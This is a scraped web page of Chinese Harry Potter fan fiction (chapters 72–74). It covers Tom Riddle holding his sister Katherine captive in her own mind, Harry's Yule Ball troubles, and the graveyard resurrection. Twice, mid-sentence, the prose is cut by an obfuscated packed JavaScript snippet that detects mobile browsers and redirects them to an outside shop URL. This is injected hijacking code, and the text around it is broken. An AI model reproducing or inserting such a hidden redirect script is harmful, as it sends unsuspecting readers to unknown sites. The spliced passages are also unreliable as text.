沉睡的凯瑟琳的意识在感受到身旁有人时睁开眼睛,然后在看清来人后变得愤怒起来。她挣扎着想要和他扭打在一起,但是双手双脚被魔法制成的锁链锁住了。 “你——”她气得声音颤抖,不知道该怎么说才对。 汤姆·里德尔抱着臂戏谑地看着做着徒劳挣扎的凯瑟琳,并没有说话。 凯瑟琳知道要挣脱这种魔法锁链必须借助外力——只有两个人曾经做到过给精神上锁——格林德沃和里德尔。她知道他们的两人的黑魔法已经达到了无人能及的未知领域,因此要破解这种精神枷锁更是难上加难。 “你要把我关到什么时候?”她问道。 “我不是说过了吗?”恶魔笑了起来,语气轻轻的,“等到你向我说实话为止。” “我说的是实话。”凯瑟琳别开了脸。 里德尔三步并作两步走到他妹妹面前,一只手抬起她的下巴。 “实话?不要对我撒谎,凯瑟琳。” 凯瑟琳用力地甩头,但是被里德尔重新拧回来,被迫与他对视。 “……邓布利多复活了你,所以你已经站在了和他同一阵营,想要干掉我,对不对?所以,现在你知道了——我也没必要隐瞒——没错,那些事都是我做的,又如何?你不希望你哥哥站在全世界的最顶端,一切的人都臣服于他?到时候,你自然是一人之下,万人之上的存在。” “你难道不应该为你杀死的无辜的人而赎罪吗?”凯瑟琳问道。 “赎罪?哈哈哈哈!那些牺牲都是为了我的成功铺路,我已经达成了永生!你明白么,我的好妹妹!我将是第一个,也会是唯一一个,实现永垂不朽的巫师,是超越人类的存在,超越了死亡、超越了一切的魔法!现在,我只需要最后两步,复活,然后干掉哈利·波特——这个机会很快就会来了,一切都在我的掌控之中。” 凯瑟琳难以置信地看着面前因为痴迷而有些癫狂的男人,他比她任何时期所认识的那个哥哥都陌生,他蔑视一切的主张,更是令她胆寒……凯瑟琳,不要气馁……他是失去了灵魂的人,他不完整,这不是他。 缓了一口气,凯瑟琳朝汤姆伸出手。 “把控制权还给我。”她说道。“你在洗澡,对吧?让我自己洗。” 汤姆伸出手拍了凯瑟琳的手一下。 “为什么?放你出去,好让你给邓布利多报信?凯瑟琳,你真的不擅长说谎。”他凑近她,露出一个冷笑。 “放心吧。我会把你的身体照顾的很好的……而且,没有人比我更了解你……” 他又起身离开。 “我忽然觉得,让你看到外面发生了什么也挺不错的。另外,我不得不再次警告你。不要尝试和我对抗,这么多年来,邓布利多其实一直是一个胆小鬼,他虽然把你复活了,但是他甚至没有胆量去碰我制作的魂器;他也没有费什么功夫去拯救那些可怜的小伙伴——你都听到了吧?我和虫尾巴的对话,计划就是这样,一个完美的计划。小巴蒂·克劳奇会帮我把哈利·波特引出霍格沃茨,离开邓布利多的势力范围,然后我会在这里……里德尔的墓地这里复活。以前我制作的魂器就派上用场了。当邓布利多他们赶到时,大概只能看见哈利·波特的尸体了……” 凯瑟琳皱着眉,她希望用什么方法能把这一切告诉邓布利多,但是目前来看,她必须首先挣脱这些锁链。另外,她找到了一个突破口,只要在三强争霸赛,她哥哥打算复活的时候,她可以自动恢复控制权……这也说明,她哥哥很有可能相信了她所说的话,也并没有打算一直附身在她身上。 “噢对了,我复活的第一件事,就是得去阿兹卡班放出我的忠仆们……你的一部分灵魂还被存放在那里,不过我很放心,对抗摄魂怪的方法还是我亲自交给她的,至于另一部分的灵魂,已经回来了,对不对?” 凯瑟琳不置可否,但是她心里明白他哥哥再次犯了错误。 汤姆看到凯瑟琳一直不说话,也停了下来。他附身蹲在凯瑟琳面前,一双黑眼睛盯着他的妹妹。半晌,他又开始说话。 “凯瑟琳……你为什么不肯 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她从来没有见哥哥的哭过,但是也许在那个最隐秘的角落,是他最软弱的一面,他会像无助的婴儿那样哭泣,祈求一个爱他的人可以帮帮他,带他离开泥沼,走出困境,让他可以喘口一气。 那只是她的一个感觉,但是就算为了这模糊的感觉,她也必须把任务坚持到底。尽管眼前的这个有着和她哥哥相同长相的人看起来是那样的坚硬和固执,完全找不出那个最隐秘的心思……他一定会有。 当哥哥和格林格拉斯小姐谈恋爱的时候,她曾经问过哥哥,爱上了格林格拉斯哪一点。他说,看中了她的“价值”。而当她追问是什么价值的时候,他却笑而不答。 她又问他,他会和格林格拉斯结婚吗?到时候,她就应该和他分开了。 她问出这个问题的时候,他的表情很奇怪。似乎是听到了什么可怕的东西,似乎是对什么东西十分嫌恶。他很肯定地说,他不需要爱情,也不需要结婚,更不会拥有孩子。 对于一个追求永生的人来说,留下后代是很多余的事情。 那么,他和格林格拉斯谈恋爱并不是因为他为格林格拉斯的美貌倾倒,也不是因为他想要留下后代,他要的是什么?她能够给他带来利益。 牺牲一个人的生命,让他知晓有关血咒的黑暗魔法,当他知道兽人能够通过变成动物的形态,在不被猎杀的情况下再活上和蛇怪一样的寿命时,卡米拉就成为了帮助他距离永生更近一步的垫脚石。 她闭了闭眼,看向一直在等她回答的哥哥。 “我会帮你的。”她说。 她一定会帮他的,这是她被复活的使命。 74.chapter72 “波特!韦斯莱!你们能不能专心一点儿?” 麦格教授恼火的声音像鞭子一样,在星期四的变形课教室里噼啪响起,惊得哈利和罗恩都抬起头来。 这堂课快要结束了。下课铃随时都会响起,哈利和罗恩正拿着弗雷德和乔治发明的两根假魔杖,在教室后排你来我往地比剑术,两人一惊之下抬起头来,罗恩手里拿着一只镀锡的鹦鹉,哈利手里是一条橡皮的黑线鳕鱼。 “波特和韦斯莱能不能使自己的行为与年龄相称呢?”麦格教授一边说,一边愤怒地扫了他俩一眼,就在这时,哈利那条黑线鳕鱼的脑袋掉了下来,无声地落到地板上——刚才罗恩那只鹦鹉的利喙把它割断了——“我有几句话要对你们大家说。 “圣诞舞会就要来临了——这是三强争霸赛的一个传统部分,也是我们与外国客人交往的一个大好机会。是这样,舞会只对四年级以上的学生开放——不过如果你们愿意,可以邀请一位低年级学生——” 拉文德·布朗发出一声刺耳的傻笑。帕瓦蒂·佩蒂尔用劲捅了捅她,帕瓦蒂自己脸上的肌肉也在使劲绷着,因为她在拼命克制着不笑出来。她俩都转过脸来望着哈利。麦格教授没有理会她们,哈利觉得这特别不公平,刚才她还数落他和罗恩来着。 “要穿上你们的礼服长袍,”麦格教授继续说道,“舞会将于圣诞节晚上八点在礼堂举行,午夜十二点结束。听着——” 麦格教授从容不迫地打量着全班同学。 “圣诞舞会无疑使我们有机会——嗯——散开头发,放松自己。”她以一种不以为然的口吻说。 拉文德笑得更厉害了,使劲用手捂住嘴巴,不让声音发出来。哈利知道这次可笑在什么地方:麦格教授的头发总是挽成紧紧的小圆髻,她似乎从来没有把头发散开过。 “但那并不意味着,”麦格教授继续说道,“我们会放松对霍格沃茨学生的行为要求。如果格兰芬多的某个学生以任何方式给学校丢脸,我将感到十分痛心。” 下课铃响了,大家和往常一样,把书本塞进书包,再把书包甩到肩头,教室里一阵忙乱。 麦格教授提高嗓门,在一片噪声中喊道:“波特——请留一下,我要对你说几句话。” 哈利心想这一定为了他那条无头的橡皮黑线鳕鱼,便无精打采地朝讲台走去。麦格教授等全班同学都走光了,才说道:“波特,勇士都有自己的伴侣——” “什么伴侣?”哈利说。 麦格教授怀疑地望着他,似乎以为他在开玩笑。 “你带去参加圣诞舞会的伴侣呀,波特,”她冷冷地说,“你的舞伴。” 哈利觉得仿佛自己的内脏在扭曲、皱缩。 “舞伴?”他感到自己的脸红了,“我不跳舞。”他急忙说道。 “哦,你必须跳舞,”麦格教授烦躁地说,“我正要告诉你这一点。按传统惯例,舞会是由勇士和他们的舞伴开舞的。” 哈利的脑海里突然浮现出自己头戴黑色高顶大礼帽、身穿燕尾服的模样,他身边还有一个姑娘,她穿着满是褶边的裙子,就是佩妮姨妈参加弗农姨父公司里的舞会时穿的那种。 “我不跳舞。”他说。 “这是传统惯例,”麦格教授坚决地说,“你是霍格沃茨的勇士,作为学校的一位代表,你必须照大家期望的那样去做。所以,你必须给自己找一个舞伴,波特。” “可是——我不——” “你听见我的话了,波特!”麦格教授用一种不容置疑的口吻说。 …… 一星期前哈利会说,找一个舞伴跟对付一条匈牙利树蜂比起来,简直是小菜一碟。可是现在他战胜了树蜂,正面临着找一个姑娘跳舞的挑战。他觉得自己宁愿再与火龙搏斗一个回合。 哈利不认识多少在霍格沃茨登记过圣诞节的同学。当然啦,他自己总是留校过圣诞节的,因为如果不这样,他就要回女贞路去,但以前留校的人总是极小一部分。 今年就不同了,四年级以上的所有同学似乎都要留下来,在哈利看来,他们都对即将到来的舞会非常痴迷——至少所有的女生都是这样,他忽然惊讶地发现霍格沃茨竟然容纳了这么多女生,她们在走廊里嗤嗤地笑着、窃窃私语,女生们每当有男生走过时就尖声大笑,女生们兴奋地交换意见,谈论圣诞节晚上穿什么衣服…… “她们为什么都成群结队地活动呢?”哈利问罗恩——这时正有十来个女生从旁边走过,她们打量着哈利,偷偷地傻笑着,“你怎么才能等到她们单独活动,抓住一个提出要求呢?” “用绳套套住一个?”罗恩建议道,“你有没有想好你请谁?” 哈利没有回答。他很清楚自己愿意请谁,但很显然,根本实现不了。 他记不得那个女生是什么时候出现的的了,反正,似乎很早以前他就可以和她对话。她说她叫“凯瑟琳”。 比如,来霍格沃茨之前,他在动物园和一条蛇对话,那就是凯瑟琳的提议。当他好奇那条蛇是不是真的从巴西运过来的时候,那个女生在他脑海里说:“你为什么不亲自问问它呢?” 他着实被自己的“想法”吓了一跳,但他还是问了。 然后,他还听懂了蛇的回答。 再比如,二年级,他被全校人怀疑是斯莱特林继承人的时候,凯瑟琳和罗恩、赫敏一样,一直站在他的这一边。 “凯瑟琳”的大部分时间都在他的脑海里沉睡,但每到一些重要时刻又会出现和他说说话,她一般就是十几岁的模样,长得漂亮极了——拥有黑色的微卷的长发,白皙的皮肤,还有漂亮的黑眼睛——凯瑟琳就是他的理想型……她的脾气也很好,总会很耐心地听哈利和她讲各种各样的事情,也不会像赫敏那样总是对他指手画脚。 四年级的时候,凯瑟琳出现的次数也多起来,当哈利不由自主把她当成一个知心朋友一样,将马尔福那帮斯莱特林的人给他制作“波特臭大粪”的事情,罗恩认为他是为了出风头故意把名字投进火焰杯的事情,还有女生们故意拿他和塞德里克做对比的事情,通通告诉了凯瑟琳。 “如果是我,我一定会第一个站在你这边。”凯瑟琳语气温柔地说,“哈利,你真的很了不起,你可比其他三个勇士年龄小很多……但是第一个项目你完成的很好,根本没受那些风言风语的影响。” “也许吧,”哈利说,他此刻感觉好了一些,但是内心还是有个地方觉得不满意,“凯瑟琳,我想知道——对不起——我的意思是说,你是现实中的人吗?或者,你现在在不在霍格沃茨?” 他知道自己希望的是什么,凯瑟琳看起来很漂亮,还很优雅,如果她是三个学校里的某个学生,那么她一定是最合适的舞伴。 “噢,我也不太清楚。”凯瑟琳有些悲伤地说,“好多事情我都记不清了。” 哈利觉得有些浑身难受,他感觉自己的内脏消失了。 “其实我想……”他盯着凯瑟琳白裙子的衣角,她经常在缝补着什么,但哈利不知道那是什么东西。 “怎么了?”凯瑟琳抬头认真地看着哈利,哈利开始觉得说话变得有些困难。 “也不是什么大事……学校要办舞会……要是你能和我作伴……呃,我的意思是……”他忽然结巴起来,如果她能答应他……她也是个巫师,或许她就在学校里呢? “舞会。听起来很不错。”凯瑟琳依旧是用温柔的声音说道。 她的眼睛像小鹿一样。哈利想。 “只可惜,我不会跳舞。” “没……没关系。”哈利觉得自己看起来很傻,他只盯着凯瑟琳的眼睛。不过他反而开心了不少,因为他也不怎么会跳舞。 “我哥哥倒是很擅长,他干什么都是最优秀的。”凯瑟琳忽然又说道。 现在,塞德里克和克鲁姆只能算第二讨厌的了,哈利觉得,凯瑟琳口中经常出现的哥哥才是那个最讨厌的人,听起来很像全能版的珀西。他或许和塞德里克一样,只是一个没用的帅哥儿——那点脑子还不够装满一只鸡蛋壳呢。 “看来他不缺舞伴。”哈利酸溜溜地说。 “嗯……四个学院的学生都争先恐后地强他身边的位置。”凯瑟琳叹气道,“他甚至抽不出空来教我跳一支舞。” “那……你们现在在霍格沃茨吗?”哈利忍不住又问。 “抱歉哈利,”凯瑟琳叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130068|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气, “我真的不知道……我真希望我能回应你的邀请。” 大颗的眼泪从她眼睛里涌出。哈利觉得自己仿佛是一个十恶不赦的坏人。 “嘿,凯瑟琳,别哭了。我会想办法的……”哈利急忙去擦她脸上的眼泪。“我们就在这里聊聊天也行。” “你真好,哈利。”凯瑟琳勉强扯出一个微笑,她的睫毛上还挂着泪滴。 哈利觉得自己的内脏又回来了,只不过灌满了铅。 当他和罗恩说起这件事的时候,罗恩还以为他是因为过度意/淫产生了幻觉。“哈利,我觉得你应该好好地睡一觉,她大概只是你塑造的一个完美的形象而已——换成是我,我也喜欢这种。” “哈利,你又在和梦中情人对话了吗?” 时间回到路过那群叽叽喳喳的女学生的时候,罗恩的话打破了哈利的回忆。 “啊?没有。”哈利心不在焉地说。 “听着,你是不会有什么麻烦的。你是勇士嘛。你刚打败了匈牙利树蜂。我敢说她们会排着队争着跟你跳舞的。” 为了维护他们刚刚修复的友谊,罗恩把声音里的苦涩味道控制到了最低限度。而且哈利惊讶地发现,事实证明罗恩的判断非常正确。 就在第二天,一个赫奇帕奇学院三年级的女生——哈利以前从未与她说过话,主动来邀请哈利与她一起去参加舞会。哈利被吓了一跳,他连想也没想就拒绝了。那女生走开了,一副备受伤害的样子。在整个魔法史课上,哈利不得不忍受迪安、西莫和罗恩对那女生的挖苦和嘲笑,尽管他的本意并不希望那样。 接下来的一天,又有两个女生来邀请他,一个是二年级的,还有一个(他惊恐地发现)竟然是五年级的,看她那样子,似乎如果哈利胆敢拒绝,她就会把他打昏过去。 “她长得蛮漂亮的,难道是因为比不上你的梦中情人?”罗恩一边笑,一边假装公正地说。 “她比我高一英尺呢!”哈利说,仍然惊魂未定,“想象一下吧,我跟她一起跳舞,那还不出洋相?” 哈利经常想起赫敏谈论克鲁姆的话:“她们喜欢他,只是因为他名气大!”哈利十分怀疑,如果自己不是学校的勇士,那些邀请他作舞伴的女生是否还愿意跟他一起去参加舞会。接着他又问自己,如果凯瑟琳就在学校里,他还会考虑这个问题吗?他偶尔确实会添油加醋地和凯瑟琳抱怨克鲁姆和塞德里克,让哈利赶到满意的是,她向来关心的人只有他一个。 还有一件让哈利高兴的事情,德拉科·马尔福的笑声越来越少了,因为《预言家日报》上并没有出现有关海格的报道——据说是因为丽塔·斯基特对神奇动物不感兴趣。 现在,海格终于放弃了直接接触炸尾螺的做法,今天,他们只是躲在海格的小屋后面,坐在一张搁板桌旁准备一批新挑选的食物,要用它们勾起炸尾螺的食欲。 “圣诞节那天,你来参加那倒霉的舞会吗,海格?”罗恩说。 “我想顺便去看看,”海格声音粗哑地说,“我认为应该会很热闹。舞会由你开舞,是不是,哈利?你带谁去?” “还没有人。”哈利说,觉得自己的脸又红了。 “噢,其实他早已有了人选。”罗恩嗤嗤地笑起来,“凯瑟琳,你的梦中情人,对吧?” “你能不能别这么称呼她?”哈利觉得罗恩不应该把这个梦中情人挂在嘴边,说着,他把一块块龙肝扔进一只大金属碗里,又拿起刀子准备再切一些,然后余光看见了海格停顿的手。 “海格?”哈利扭过头去问。 “噢,没什么。”海格搅着手盯着不远处的炸尾螺,似乎是纠结了半天,他又问,“她长什么样子?” 哈利觉得现在他的心情也变得像炸尾螺一样了。难道海格认识叫凯瑟琳的人? “黑头发黑眼睛总之很漂亮……”哈利说道,但是他没办法描述。“海格,你认识她?” “不认识。”海格忽然大声地说道,然后他非常不自然地切换了话题,“叫凯瑟琳的人太多了——哈利,接住龙肝。” 罗恩撇了撇嘴,“看吧,哈利,别沉浸在幻想中了。你还是赶紧想办法找一个舞伴吧。” 75.chapter73 “你确定你会帮我?”汤姆的意识半信半疑地盯着凯瑟琳。 “我确定。”凯瑟琳说。这话倒是不假,因为她知道自己做这一切是为了什么,但是在她哥哥看来又是另外一回事了。 汤姆似乎很意外凯瑟琳会这么快地松口,他一直盯着凯瑟琳,仿佛想要从她脸上找出破绽。“那么,你应该加入食死徒……噢,不,不应该加入食死徒……那些人只是我的仆人……你应该站在我身边……”他说着话,目光却一瞬不瞬地盯着他妹妹的表情。 “再过几个月,我就能迎来复活仪式。”他继续说道,“不过作为奖励,我决定把我的力量留在你身上。” “什么意思?”凯瑟琳问。 “我会把我的力量分给你,你将拥有和我一样强大的力量,到时候,你就会成为另外一个我,我们并肩作战,一起统一全巫师界。” 凯瑟琳本想立刻拒绝,但是话到嘴边又收回去了。所有人都说她哥哥拥有世界上最强的魔法,如果她能够获得他的力量,也许能够尽快阻止漫长的战争...... 她安静了下来。 汤姆看到她的样子,露出了满意的表情。 “不准乱用我做事,知道吗?”凯瑟琳抬头威胁道。 “不会的。”汤姆说道,他很高兴终于能够得到妹妹的支持,“放心吧,只要那些人不来招惹我,我一定不会滥杀无辜。” 凯瑟琳叹了一口气,看着汤姆的意识离开的背影,她觉得自己必须得想办法在必要的时候夺回控制权。 …… 占卜课昏暗的教室热得让人喘不过气来。熏香的味道比往常更加浓郁。哈利走到一扇拉着窗帘的窗户前,感到脑袋发昏。他趁特里劳妮教授解去挂在灯上的披巾时,偷偷把窗户打开了一条缝,然后靠在套着印度印花布的扶手椅上,一股轻风吹在他的脸上,惬意极了。 特里劳妮教授开始讲解火星与海王星形成的奇妙夹角。浓郁的熏香朝他袭来,窗口透进来的轻风抚弄着他的面颊,他听得见窗帘后一只昆虫细细的嗡鸣,他的眼皮耷拉了下来…… 他骑在一只猫头鹰的背上,在蔚蓝明亮的天空中飞翔,一直飞到山上一座爬满常春藤的老房子跟前。清风吹拂着哈利的脸庞,他们越飞越低,最后从顶楼一扇黑洞洞的破窗户里飞了进去。现在他们沿着阴暗的走廊飞行,走廊尽头有一扇门……他们飞进门里,这是一间黑屋子,窗户都封上了…… 哈利已经不在猫头鹰背上了……他看着它飞到一把背对着他的椅子里面……椅子旁边有两个黑色的影子……它们在动…… 一个是一条大蛇……另一个是人……一个秃顶的矮个男人,尖鼻子,眼睛泪汪汪的……他在炉边的地毯上喘气、抽泣…… “算你运气,虫尾巴,”一个冷酷的女声从椅子里传出,“你真是非常走运。你的失误没有把事情搞糟。他已经死了。” “主人!”地上的男人叫道,“主人,我……我太高兴了……我非常抱歉……” “纳吉尼,”那个冷酷的声音说,“你运气不好。我不打算用虫尾巴喂你了……不过没关系……还有哈利·波特……” 大蛇发出嘶嘶的声音。哈利看见它在吐着信子。 “现在,虫尾巴,”那冷酷的声音又说,“也许应该提醒你一下,我不能容忍你再犯错误了……” “主人……不要……求求你……” 坐在扶手椅里的女人手里拿着一根魔杖,指着虫尾巴。 “钻心剜骨!”那冷酷的声音说道。 虫尾巴痛苦地尖叫起来,好像他的每根神经都着了火似的。尖叫声灌进哈利的耳朵,他额头的伤疤火烧火燎般地疼起来,他也喊出了声……伏地魔会听见的,会发现他在那里…… “哈利!哈利!” 哈利睁开眼睛。他躺在教室的地板上,双手捂着脸。伤疤依然火烧火燎地疼,把他的眼泪都疼出来了。这疼痛是真的。全班同学都站在周围,罗恩跪在他身边,看上去吓坏了。 “你没事吧?”罗恩说。 “他当然有事!”特里劳妮教授显得兴奋极了。她的大眼睛凝视着哈利,阴森森地朝他逼近。“怎么回事,波特?一个预兆?一个幻影?你看见了什么?” “没什么。”哈利撒了个谎。他坐起来,感到自己在发抖。他忍不住四处张望,朝他身后的阴影仔细窥视,伏地魔的声音听上去近在咫尺…… “刚才你捂着伤疤!”特里劳妮教授说,“你捂着伤疤在地上打滚!来吧,波特,这些事我有经验!” 哈利抬头看着她。 “我想我需要去医院,”他说,“头疼得厉害。” “亲爱的,你显然是受了我教室里的特异视觉振动的影响!”特里劳妮教授说,“如果你现在走开,就看不到你从来没有见过的——” “我只想看到治头痛的办法。”哈利说。 他站了起来,全班同学纷纷退去,脸上都带着不安的神情。 “一会儿见。”哈利小声对罗恩说。他拎起书包朝活板门走去,没有理会特里劳妮教授。她一脸沮丧,仿佛被剥夺了一顿丰盛的宴席。 这个梦和女贞路的那个梦一样真切……他回忆所有的细节,努力使自己不要忘记……他听见伏地魔责备虫尾巴犯了错误……可是猫头鹰带来了好消息,过错得到了弥补,什么人死了……虫尾巴不会喂给蛇吃了……而他哈利将被用来喂蛇…… “哈利,你看起来很不舒服。”凯瑟琳在哈利脑海中关切地问道。 “我做了一个噩梦。”哈利说道,“一个不太愉快的梦。”他说。 凯瑟琳叹了一口气,但是她手中的针线活却没有停下来。“我觉得外界对你的干扰太多了,别紧张,马上就是最后一个项目了,我相信你一定行。” 哈利听得出来,她明知道他梦到的是别的事情。甚至对他来说,即使是三强争霸赛的前夕,他也能睡个好觉,根本不会紧张到做噩梦的程度。 “不是。主要是我的伤疤又疼了。”哈利说,“我得去找邓布利多。” 凯瑟琳的眼里充满了担忧,“你确实应该和校长先生谈谈,他知道的事情比我们要多很多。” * 校长室内。冥想盆中立刻升起一个人形,是个十五六岁的姑娘,胖乎乎的,一脸不高兴。她的双脚还站在盆里。这姑娘看也不看哈利和邓布利多教授。她开口说话时,也像斯内普那样带着回声,好像是从石盆深处传出来的一样。“他对我使用魔法,邓布利多教授,我只不过逗了逗他。我只是说我上星期四看见他在暖房后面和弗洛伦斯接吻……” “可是,伯莎,”邓布利多抬头看着此刻正默默旋转的女孩,悲哀地说,“你一开始为什么要跟着他呢?” “伯莎!”哈利抬头看着那女孩,小声说,“她是——伯莎·乔金斯?” “是的,”邓布利多又捣了捣盆里的思想,伯莎沉下去了,盆中又变成了不透明的银白色。“那是我记忆里学生时代的伯莎。” 冥想盆中的银光照亮了邓布利多的面庞。哈利突然发觉他是那样苍老。他当然知道邓布利多已经上了年纪,但不知为什么,他从没觉得他是个老人。 “哈利,”邓布利多和缓地说,“在你掉进我的思想中之前,你是有一些事要告诉我的。” “是的,”哈利说,“教授——我正在上占卜课,可是我——我睡着了。” 他迟疑了一下,以为要挨批评了,但邓布利多却说:“可以理解,讲下去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有可能,”邓布利多说,“我要说——很有可能。哈利——你看见伏地魔了吗?” “不算是,”哈利说,“我看到坐在椅子里的应该是个女生,可是,她怎么能拿伏地魔的魔杖呢?”哈利慢慢地说。 “是啊,”邓布利多喃喃道,“怎么可能呢……” 哈利觉得邓布利多已经知道了什么,因为那个坐在椅子里的女人也给他一种熟悉的感觉。 一时间两人谁也没有说话。邓布利多凝视着前方,不时用魔杖尖从太阳穴那儿取出一条银亮的思想,放进翻腾涌动的冥想盆里。 “教授,”哈利终于说,“你认为他正在强壮起来吗?” “伏地魔吗?”邓布利多隔着冥想盆望着哈利说。又是那种特有的具有穿透力的目光,哈利总觉得邓布利多能够完全看穿他,这是连穆迪的魔眼也做不到的。“我还是只能给你一些猜测,哈利。” 邓布利多又叹息了一声,显得更加苍老、疲惫。 “伏地魔力量增强的这几年发生了好几桩失踪事件。”他说,“伯莎·乔金斯在伏地魔最后的藏身之地消失得无影无踪,克劳奇先生也失踪了……就在咱们这片场地上。还有第三起失踪事件,遗憾的是魔法部认为它无足轻重,因为失踪的是个麻瓜。他的名字叫弗兰克·布莱斯,住在伏地魔的父亲出生的村子里。他从去年八月就不见了。你知道,我看麻瓜的报纸,这一点我和部里的大多数朋友不一样。” 邓布利多非常严肃地看着哈利。 “我觉得这些失踪事件是有联系的,但部里不这样认为——你在办公室外面可能也听到了。” 76.chapter74 哈利感到双脚撞到了地面,他的伤腿一软,摔倒在地,手终于放开了三强杯。 他抬起头来打量着四周。这儿已经完全出了霍格沃茨的地界,他显然飞了好几英里——也许有好几百英里,因为连城堡周围的环山都不见了。他站在一片黑暗的杂草丛生的墓地上,可以看到右边一棵高大的红豆杉后面一所小教堂的黑色轮廓。左边是一座山冈。哈利能辨认出山坡上有一所精致的老房子。 塞德里克刚才的反常让他觉得不寒而栗,他就像被人控制了一样,但最终被藤蔓拖走了。而这里,看起来更加反常。他打量着这片墓地,周围阴森森的,一片寂静。 “这也是比赛的一部分吗?”他发出声音。 但是四下依旧寂静无声。 哈利抽出魔杖,不住地扫视四周。他又有了那种异样的感觉,好像有人在监视着他们。 然后,他听见了不属于他的声音,紧张地眯起眼睛望着黑暗中, 两个人影在坟墓之间一步步朝他们走来。哈利看不清那两个人的脸,他们一高一矮,穿着带兜帽的斗篷,遮着面孔。再走近几步——他与他们之间的距离在不断缩小,哈利手中的魔杖放低了一些。 那人在一块高耸的大理石墓碑前站住,离他们只有六英尺。在那一瞬间,哈利的伤疤剧烈疼痛起来。他有生以来从未感受过如此剧烈的疼痛。魔杖滑落到地上,他双手捂住面孔,腿一弯倒在地上,眼前什么也看不见了,脑袋像要炸裂一般。 穿斗篷的高个男人点亮了魔杖,正在把哈利朝大理石墓碑拖去。在被一把推转过来、后背撞到墓碑上之前,哈利在魔杖闪烁的光芒中看到了一个名字。 【汤姆·里德尔】 穿斗篷的男人用魔法变出绳子把哈利紧紧捆在墓碑上,从脖子到脚腕捆了一道又一道。哈利听见兜帽里面传出急促而轻微的呼吸声。他用力挣扎,那男人打了他一下。 “你是谁?”他惊叫道。 但那个人没有回答。他已经捆完了绳子,正忙着检查捆得紧不紧。他的手指控制不住地颤抖着,摸索着一个个绳结。当确定哈利已被捆得结结实实、一动都不能动了之后,克劳奇从斗篷里摸出一段黑色的东西,粗鲁地塞进哈利嘴里。然后,他一句话也没说,就匆匆走开了。哈利发不出声音,也看不见那个男人去了哪里。他不能扭头看墓碑后面,只能看见正前方的情景。 三强杯在星光下闪闪发亮。哈利的魔杖丢在了另一边。另外一个矮一点的是哥女人,哈利注视着她,他的伤疤又火辣辣地疼痛起来……他突然意识到自己不希望看到面具之下是谁……他不希望知道那个女人是谁。 他听见脚边有声音,往下一看,只见一条大蛇在草上蜿蜒游动,围着他那块墓碑打转。那个男人的脚步声又传来,他好像在推着什么沉重的东西。然后他进入了哈利的视线,把一口石头坩埚推到了坟墓下面。坩埚里好像盛满了水——哈利听见泼溅的声音。这口坩埚比哈利用过的所有坩埚都大,可容一个成人坐在里面。 站在一旁的女人冷冷地旁观,全程只有那个男人在殷勤地忙碌着。他用魔杖在坩埚底部点点划划,坩埚下蹿起了噼啪作响的火苗。 大蛇向黑暗中游去。 坩埚里的液体似乎热得很快。表面不仅开始沸腾,而且迸射出火花,像烧着了一样。蒸气越来越浓,照看火苗的那个高个男人的身影都变得模糊起来了。 那个女人终于说话了。一个冰冷的声音。 “可以了。” 现在整个水面都闪动着火花,好像缀满钻石一样。 那个男人开始念念有词。 “独角兽的鲜血。”他从兜里掏出一个小瓶子,加入了一些银蓝色的液体。 “纳吉尼的毒液。” 戴兜帽的女人开始发出低哑的嘶嘶声,哈利知道那是蛇佬腔。他看见纳吉尼从远处游了过来,然后兜帽女人从蛇牙上取出一些黑色的液体,放进坩埚沸腾的水里。 “主人,接下来……” “嗯。”那个冷酷的声音命令道,“退后吧。” 女人钻进了油锅里,随着一阵嘶嘶声,它沉了下去,再没有别的声音。 男人的兜帽掉了下来,哈利看到火光中那个男人苍白虚弱的脸上带着恐惧的表情。然后他认出了他——那个出现在邓布利多冥想盆里的小巴蒂·克劳奇。 “怎么是你?”哈利想要发出声音,但是嘴被堵住了。他的视线又落到沸腾的坩埚上。 让它淹死,哈利想,他的伤疤灼痛得几乎无法忍受,求求你……让它淹死…… 小巴蒂·克劳奇喘了一口气,然后举起魔杖,闭上眼睛,对着夜空说道:“父亲的骨,无意中捐出,可使你的儿子再生!” 哈利脚下的坟墓裂开了,哈利惊恐地看见一小缕灰尘应克劳奇的召唤升到了空中,轻轻落进坩埚里。钻石般的液面破裂了,嘶嘶作响,火花四溅,液体变成了鲜艳的蓝色,一看便知有毒。 小巴蒂·克劳奇看起来一点也不意外。 接着,他从斗篷里抽出一把又长又薄、银光闪闪的匕首。他的脸不知是因为恐惧还是激动,变得扭曲起来:“仆人的肉,自愿捐出,可使你的主人重生。” 他伸出右手然后用左手紧紧攥住匕首,朝右手挥去。 哈利在最后一秒钟才意识到克劳奇要干什么,他紧紧闭上眼睛,但却阻挡不了那穿透夜空的惨叫直刺进哈利体内,就好像他也被匕首刺中了一样。他听见什么东西落地,听见克劳奇痛苦的喘息,接着是扑通一声,什么东西被扔进了坩埚里。哈利不愿看……但是药水变成了火红色,强光射进哈利紧闭的眼帘…… 克劳奇在痛苦地喘息和呻/吟,但是又带着一些暗暗的兴奋。 当他的呼吸喷到哈利脸上时,哈利才发觉小巴蒂·克劳奇已经来到他的面前。 “仇敌的血……被迫献出……可使你的敌人……复活。” 哈利没办法阻止,他被捆得太紧了……他绝望地挣扎着,想挣脱捆绑着他的绳索,他从眼睛缝里看见银晃晃的匕首在克劳奇那只独手中颤动。他感到匕首尖刺进了他的臂弯,鲜血顺着撕破的袍袖淌下。仍在喘息的克劳奇从口袋里摸出一个小玻璃瓶,放在哈利的伤口旁,少量鲜血流到了瓶里。 他拿着哈利的血走向坩埚,把它倒了进去。坩埚中液体立刻变成了炫目的白色。 克劳奇完成了任务,跪倒在坩埚旁,捧着自己流血的断臂喘息着。 